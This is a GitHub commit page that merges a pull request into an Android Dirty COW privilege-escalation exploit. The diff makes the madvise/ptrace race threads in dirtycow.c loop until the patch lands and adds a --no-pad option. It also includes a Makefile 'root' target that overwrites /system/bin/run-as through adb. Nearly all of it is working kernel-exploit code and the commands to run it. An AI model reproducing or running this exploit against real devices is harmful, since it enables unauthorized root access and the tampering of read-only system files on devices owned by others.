Skip to content

Commit

Permalink
Merge pull request #99 from f0k/more-efficient
Browse files Browse the repository at this point in the history
Make ptrace method much more efficient
  • Loading branch information
timwr authored Feb 3, 2021
2 parents 4746152 + c3ce1c1 commit f567139
Show file tree
Hide file tree
Showing 4 changed files with 41 additions and 22 deletions.
1 change: 0 additions & 1 deletion Android.mk
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,6 @@ include $(BUILD_EXECUTABLE)
include $(CLEAR_VARS)
LOCAL_MODULE := run-as
LOCAL_SRC_FILES := \
dirtycow.c \
run-as.c

LOCAL_CFLAGS += -DDEBUG
Expand Down
3 changes: 2 additions & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,8 @@ test: push
root: push
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/$(ARCH)/run-as /data/local/tmp/run-as
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
adb shell 'cat /system/bin/run-as > /data/local/tmp/run-as-original'
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as --no-pad'

clean:
rm -rf libs
Expand Down
57 changes: 39 additions & 18 deletions dirtycow.c
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,7 @@ struct mem_arg {
static void *checkThread(void *arg) {
struct mem_arg *mem_arg;
mem_arg = (struct mem_arg *)arg;
LOGV("[*] check thread starts, address %p, size %zd", mem_arg->offset, mem_arg->patch_size);
struct stat st;
int i;
char * newdata = malloc(mem_arg->patch_size);
Expand All @@ -62,10 +63,12 @@ static void *checkThread(void *arg) {
if (memcmpret == 0) {
mem_arg->stop = 1;
mem_arg->success = 1;
LOGV("[*] check thread stops, patch successful, iterations %d", i);
goto cleanup;
}
usleep(100 * 1000);
}
LOGV("[*] check thread stops, timeout, iterations %d", i);

cleanup:
if (newdata) {
Expand All @@ -80,19 +83,20 @@ static void *madviseThread(void *arg)
struct mem_arg *mem_arg;
size_t size;
void *addr;
int i, c = 0;
int i = 0, c = 0;

mem_arg = (struct mem_arg *)arg;
size = mem_arg->patch_size;
addr = (void *)(mem_arg->offset);

LOGV("[*] madvise = %p %zd", addr, size);
LOGV("[*] madvise thread starts, address %p, size %zd", addr, size);

for(i = 0; i < LOOP && !mem_arg->stop; i++) {
while(!mem_arg->stop) {
c += madvise(addr, size, MADV_DONTNEED);
i++;
}

LOGV("[*] madvise = %d %d", c, i);
LOGV("[*] madvise thread stops, return code sum %d, iterations %d", c, i);
mem_arg->stop = 1;
return 0;
}
Expand All @@ -107,10 +111,12 @@ static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n)
s = src;

while (n >= sizeof(long)) {
memcpy(&value, s, sizeof(value));
if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
warn("ptrace(PTRACE_POKETEXT)");
return -1;
if (*((long *) s) != *((long *) d)) {
memcpy(&value, s, sizeof(value));
if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
warn("ptrace(PTRACE_POKETEXT)");
return -1;
}
}

n -= sizeof(long);
Expand Down Expand Up @@ -143,12 +149,15 @@ static void *ptraceThread(void *arg)
struct mem_arg *mem_arg;
mem_arg = (struct mem_arg *)arg;

int i, c;
for (i = 0; i < LOOP && !mem_arg->stop; i++) {
c = ptrace_memcpy(pid, mem_arg->offset, mem_arg->patch, mem_arg->patch_size);
LOGV("[*] ptrace thread starts, address %p, size %zd", mem_arg->offset, mem_arg->patch_size);

int i = 0, c = 0;
while (!mem_arg->stop) {
c += ptrace_memcpy(pid, mem_arg->offset, mem_arg->patch, mem_arg->patch_size);
i++;
}

LOGV("[*] ptrace %d %i", c, i);
LOGV("[*] ptrace thread stops, return code sum %d, iterations %i", c, i);

mem_arg->stop = 1;
return NULL;
Expand Down Expand Up @@ -216,6 +225,8 @@ static void exploit(struct mem_arg *mem_arg)
pthread_create(&pth1, NULL, madviseThread, mem_arg);
ptrace(PTRACE_TRACEME);
kill(getpid(),SIGSTOP);
// we're done, tell madviseThread to stop and wait for it
mem_arg->stop = 1;
pthread_join(pth1, NULL);
}
} else {
Expand All @@ -228,13 +239,18 @@ static void exploit(struct mem_arg *mem_arg)
pthread_join(pth2, NULL);
}

LOGV("[*] exploited %d %p=%lx", pid, (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
LOGV("[*] finished pid=%d sees %p=%lx", pid, (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
}

int dcow(int argc, const char * argv[])
{
if (argc < 2) {
LOGV("usage %s /data/local/tmp/default.prop /default.prop", argv[0]);
if (argc < 2 || argc > 4) {
LOGV("Usage %s INFILE OUTFILE [--no-pad]", argv[0]);
LOGV(" INFILE: file to read from, e.g., /data/local/tmp/default.prop")
LOGV(" OUTFILE: file to write to, e.g., /default.prop")
LOGV(" --no-pad: If INFILE is smaller than OUTFILE, overwrite the")
LOGV(" beginning of OUTFILE only, do not fill the remainder with")
LOGV(" zeros (option must be given last)")
return 0;
}

Expand Down Expand Up @@ -273,10 +289,15 @@ int dcow(int argc, const char * argv[])

size_t size = st2.st_size;
if (st2.st_size != st.st_size) {
LOGV("warning: new file size (%lld) and destination file size (%lld) differ\n", (unsigned long long)st2.st_size, (unsigned long long)st.st_size);
LOGV("warning: source file size (%lld) and destination file size (%lld) differ", (unsigned long long)st2.st_size, (unsigned long long)st.st_size);
if (st2.st_size > st.st_size) {
LOGV("corruption?\n");
} else {
LOGV(" corruption?\n");
}
else if (argc > 3 && strncmp(argv[3], "--no-pad", 8) == 0) {
LOGV(" will overwrite first %lld bytes of destination only\n", (unsigned long long)size);
}
else {
LOGV(" will append %lld zero bytes to source\n", (unsigned long long)(st.st_size - st2.st_size));
size = st.st_size;
}
}
Expand Down
2 changes: 0 additions & 2 deletions run-as.c
Original file line number Diff line number Diff line change
Expand Up @@ -22,8 +22,6 @@ char __aeabi_unwind_cpp_pr0[0];
typedef int getcon_t(char ** con);
typedef int setcon_t(const char* con);

extern int dcow(int argc, const char *argv[]);

int main(int argc, const char **argv)
{
LOGV("uid %s %d", argv[0], getuid());
Expand Down

0 comments on commit f567139

Please sign in to comment.